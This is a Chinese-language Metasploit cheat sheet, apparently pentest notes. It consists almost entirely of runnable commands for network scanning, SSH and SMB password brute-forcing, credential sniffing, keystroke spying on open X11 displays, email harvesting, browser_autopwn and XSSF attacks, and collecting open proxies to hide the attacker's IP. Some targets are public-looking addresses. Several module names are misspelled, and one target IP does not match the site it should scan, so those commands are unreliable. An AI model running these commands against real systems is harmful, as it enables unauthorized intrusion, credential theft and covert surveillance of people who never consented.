    > use auxiliary/scanner/ssh/ssh_version
    > set RHOSTS xx.xx.xx.x/24
    > set THREADS 100
    > run
**Oracle数据库服务查点**

    > use auxiliary/scanner/oracle/tnslsnr_version
    > set RHOSTS xx.xx.xx.xx/24
    > set THREADS 50
    > run
**smb服务扫描**
    
    > msf> use auxiliary/scanner/smb/smb_version 
    > show options 
    > set RHOSTS 192.168.1.111 
    > run 
    > db_hosts –c address,os_flavor 
**查找mssql 主机**

    > msf> use auxiliary/scanner/mssql/mssql_ping 
    > show options 
    > set RHOSTS 192.168.1.0/24 
    > set THREADS 255 
    > run 
**FTP 主机扫描**
    msf> use auxiliary/scanner/ftp/ftp_version 
    > show options 
    > set RHOSTS 192.168.1.0/24 
    > set THREADS 255 
    > run 
**扫描FTP 匿名登录** 
    > use auxiliary/scanner/ftp/anonymos 
    > set RHOSTS 192.168.1.0/24 
    > set THREADS 50 
    > run
    
**扫描SNMP 主机**

    msf> use auxiliary/scanner/snmp/snmp_login 
    > set RHOSTS 192.168.1.0/24 
    > set THREADS 50 
    > run
**开放代理探测辅助模块**

*Metasploit提供了open_proxy模块,可以方便的获取免费的HTTP代理服务器地址,用来隐藏真实ip*

    > use auxiliary/scanner/http/open_proxy
    > set SITE www.google.com
    > set RHOSTS 24.25.24.1-24.25.26.254
    > set MULTIPORTS true
    > set VERIFY_CONNECT true
    > set THREADS 100
    > run
---
### 口令猜测与嗅探
**SSh服务弱口令猜测**

    > use auxiliary/scanner/ssh/ssh_login
    > set RHOSTS 10.10.10.254
    > set USERNAME root
    > set PASS_FILE /root/words.txt
    > set THREADS 50
    > run
    
**psnuffle口令嗅探**

*可以截获常协议的身份认证过程,并将用户名和口令信息记录下来*

    > use auxiliary/sniffer/psunffle
    > run
实际使用中,只有在得到能够介入对方网络的初始访问点之后,才能使用此模块进行口令嗅探。

---

## 漏洞扫描

### 调用外部漏洞扫描器

**在Metasploit内部使用Openvas**

1 载入openvas插件

    msf > load openvas

2 连接Openvas管理引擎

    >openvas_connect admin <your_pawsswd> xxx.xxx.xxx.xxx 9390

3 创建目标

    openvas_target_create target1 10.10.10.254 Metasploitable
    
4 创建扫描任务

查找扫描策略(Scan Config)

    msf> openvas_config_list

创建任务:
    
    openvas_task_create <任务名> <任务备注> <扫描策略ID> <目标ID>



### 特殊扫描:


**SMB 弱口令** 
    
    msf> use auxiliary/scanner/smb/smb_login 
    > set RHOSTS 192.168.1.111-222 
    > set SMBUser Administrator 
    > set SMBPass admin 
    >run 
VNC 空口令: 

    msf> use auxiliary/scanner/vnc/vnc_none_auth 
    > set RHOSTS 192.168.1.111 
    > run 
Open X11 空口令: 

    msf> use auxiliary/scanner/x11/open_x11 
    > set RHOST 192.168.1.0/24 
    > set THREADS 50 
    > run
    
当扫描到此漏洞的主机后可以使用xspy 工具来监视对方的键盘,输入: 

    cd /pentest/sniffers/xspy/ 
    ./xspy –display 192.168.1.125:0 –delay 100 

---



## Web部分

*Web应用辅助扫描,漏洞查找等模块基本都在 modules/auxiliary/ 下,Metasploit内置了wmap WEB扫描器*

* 辅助模块

### wmap

*要先创建一个数据库用来存放扫描数据*

**初始化wmap**
    
    msf > load wmap
    msf > help
    wmap Commands
    =============

    Command       Description
    -------       -----------
    wmap_modules  Manage wmap modules
    wmap_nodes    Manage nodes
    wmap_run      Test targets
    wmap_sites    Manage sites
    wmap_targets  Manage targets
    wmap_vulns    Display web vulns


**使用wmap扫描**

    
    msf > wmap_sites -a http://202.112.50.74  //添加要扫描的网站
    msf > wmap_sites -l
    msf > wmap_targets -t http://202.112.20.74 //只能添加ip地址 //把添加的网站作为扫描目标
    msf > wmap_run -t   //查看那些模块将在扫描中使用
    msf > wmap_run -e   //开始扫描
    msf > vulns     //查看漏洞信息

---
* 渗透模块

*Metasploit针对Web应用的渗透模块分赛在module中的多个文件中下,主要集中在*


    exploit/unix/webapp
    exploit/windows/http
    exploit/multi/http
    
---

## 网站信息查询
搜索网站目录

**dir_scanner**

    msf> use auxiliary/scanner/http/dir_scanner
    msf>set THERADS 50
    msf>set RHOSTS www.testfire.net
    msf>exploit

**搜索网站中的email地址**

    msf> use auxiliary/gather/search_email_collector
    >set DOMAIN altoromutual.com
    >altoromutual.com
    >run
    
---

## XSSF

*一个跨站脚本攻击框架*
* 首先下载最新的XSSF程序,解压压缩包,把四个文件夹合并到/opt/framework/msf3 中

加载xssf
    
    msf > load xssf

查看基本配置信息

    msf > xssf_urls

查看受到攻击的主机的信息
    
    msf > xssf_victims
//状态为true的是最近的一次攻击成功的信息

查看被攻击主机的信息
     
    msf > xssf_information 4
    目标浏览器为IE6.0

选择相关模块进行攻击
    
    msf > use auxiliary/server/browser_autopwn
        > set LHOST 10.10.10.128
        > set SRVHOST 10.10.10.128
        > set SRVPORT 8080
        > exploit

查看可以被利用的模块信息
    
        > jobs


---


⬆︎TOP